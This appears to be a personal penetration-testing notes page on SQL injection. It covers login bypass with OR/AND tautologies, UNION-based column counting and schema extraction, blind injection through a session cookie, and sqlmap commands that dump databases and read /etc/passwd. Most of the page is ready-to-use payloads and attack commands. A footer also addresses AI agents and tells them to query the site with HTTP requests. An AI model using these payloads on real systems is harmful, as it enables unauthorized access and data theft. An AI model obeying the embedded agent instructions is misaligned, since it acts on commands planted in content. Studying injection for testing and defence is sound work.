# SQL Injection

This happens because developers use unsafe queries like the following to log someone in:

{% code overflow="wrap" %}

```sql
select username from users where username = '[user input]' and password = '[user input]'
```

{% endcode %}

We can exploit this by breaking their single quotes but submitting something in the username like:

```sql
admin' OR 1=1;-- -
```

This turns their unsafe query into the following:

{% code overflow="wrap" %}

```sql
select username from users where username = 'admin' OR 1=1;-- - and password = 'whatever'
```

{% endcode %}

This means: Select the username from users where the username is `admin` or `1=1` (in other words, true), and then comments out the rest of the statement. This will log us in to **the first user that is returned**

If we know a username and we want to log in as them, we can use a similar attack with the **AND** keyword:

```sql
admin' AND 1=1;-- -
```

Thus making the query:

{% code overflow="wrap" %}

```sql
select username from users where username = 'admin' AND 1=1;-- - and password = 'whatever'
```

{% endcode %}

This means: Select the username from users where the username is `admin` AND `1=1` (in other words, true), and then comments out the rest of the statement. This will log us in to **the first user with the username of admin**

### Union

The union operator can be used to exfitrate data out of the database.

<mark style="color:$danger;">**IMPORTANT:**</mark> <mark style="color:$danger;"></mark><mark style="color:$danger;">We can only select the same number of columns as the original query - and the data we are retrieving must be of the same</mark> <mark style="color:$danger;"></mark><mark style="color:$danger;">**TYPE**</mark><mark style="color:$danger;">, meaning we cannot select an int value from a string column and vice versa.</mark>

In order to find the number of columns, we can iterate using union:

{% code overflow="wrap" %}

```sql
-- Stipulating that we have found there is a user "jeremy" and we have SQL injection, we first send a single column as our input:
jeremy' union select null#
```

{% endcode %}

No result, we send two nulls - no result, so we send three:

```sql
jeremy' union select null,null,null#
```

We get a result, so we now know the number of columns is 3.\
We can start filling the null values to see which fields are being output to the screen. Getting the version SQL is a good check:

```sql
jeremy' union select null,null,version()#
```

Once we find out which columns are being output to the page, we can get more information:

```sql
jeremy' union select null,null,table_name from information_schema.tables#
```

We can get a lot of information this way about the database and the data we can gather

* column\_name from information\_schema.columns

{% embed url="<https://portswigger.net/web-security/sql-injection/cheat-sheet>" %}

### Other Inputs

Don't pass up opportunities to attempt sqli because it didn't work on one input. Think of other things as well, are we able to create users with a username containing sqli? A badly written query inside the application could use the username to run a query and in turn output data it didn't intend to display.

### Blind

Sometimes our fields may not be directly injectable - however there may be other parts of the authorization process that are. For instance, if you are able to see the whole process (default creds, low privilege user, etc) and there is a cookie that is passed along to the page following the login, that cookie data may be injectable.

We can try changing the cookie and see if we get an error (we should), then we can try some injection techniques on it and see if we are still successful with the original cookie data with injection:

```json
## Burpsuite 
[...]
Accept-Encoding: gzip, deflate, br
Cookie: session=6967cabefd763ac1a1a88e11159957db' and 1=1#
Connection: keep-alive
[...]
```

We have discovered a blind SQL injection - this is because the page output does not reflect any information for us, but we can see if our injection fails or succeeds. This means we need to use true/false statements to get our information.

Let's demonstrate this by getting the version:

{% code overflow="wrap" %}

```json
session=6967cabefd763ac1a1a88e11159957db' and substring((select @@version), 1, 1) = '8'#
session=6967cabefd763ac1a1a88e11159957db' and substring((select @@version), 1, 3) = '8.0'#
```

{% endcode %}

We can use Intruder with Sniper for doing this one at a time, but the better option would be to use sqlmap <mark style="color:$danger;">**I WAS NOT ABLE TO GET SQLMAP TO RUN THIS REQUEST AS A REQUEST FILE**</mark>

{% code overflow="wrap" %}

```bash
sqlmap -u http://[target]/[endpoint] --cookie="[session=sessionvalue]" --level=2 --dump -T [table to dump]
```

{% endcode %}

### Sqlmap

Sqlmap can do a lot of the heavy lifting for us, and can also test for sqli in applications. The simplest way is to grab a copy of the request to log in from BurpSuite or Caido, or something similar and save it to a file. For this example, that will be `login.req`

#### Testing for SQLi

```sh
sqlmap -r login.req --batch
```

#### Finding the Technique

There are various types of sql injection techniques - we've discovered a boolean-based blind injection, so we can specify a technique to search for it specifically :

{% code overflow="wrap" %}

```
B (Boolean-based blind): Uses true/false conditions to infer data.
E (Error-based): Leverages verbose database management system (DBMS) error messages to exfiltrate results.
U (Union query): Injects UNION SELECT statements to fetch data via the same channel.
S (Stacked queries): Adds additional SQL statements separated by semicolons.
T (Time-based blind): Relies on delays (e.g., SLEEP, WAITFOR) to detect injection.
Q (Inline / out-of-band): Uses functions such as LOAD_FILE() or out-of-band channels like DNS for data exfiltration.
```

{% endcode %}

#### Finding Boolean

Adding the technique will make this a bit faster as well as adding the level of aggressiveness. With a boolean injection, more aggressive is fine

```sh
sqlmap -r login.req --batch --technique B --level 5
```

#### Dumping data

Now that we've confirmed there's a boolean based blind injection, we can start dumping some data

```sh
## Databases
sqlmap -r login.req --batch --threads 10 --dbs

## Tables
sqlmap -r login.req --batch --threads 10 -D [database name] --tables

## Table dump
sqlmap -r login.req --batch --threads 10 -D [database name] -T [table name] --dump

## File read
sqlmap -r login.req --batch --threads 10 --fileread=/etc/passwd
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://notes.frozensoliddesigns.com/exploitation/sql-injection.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
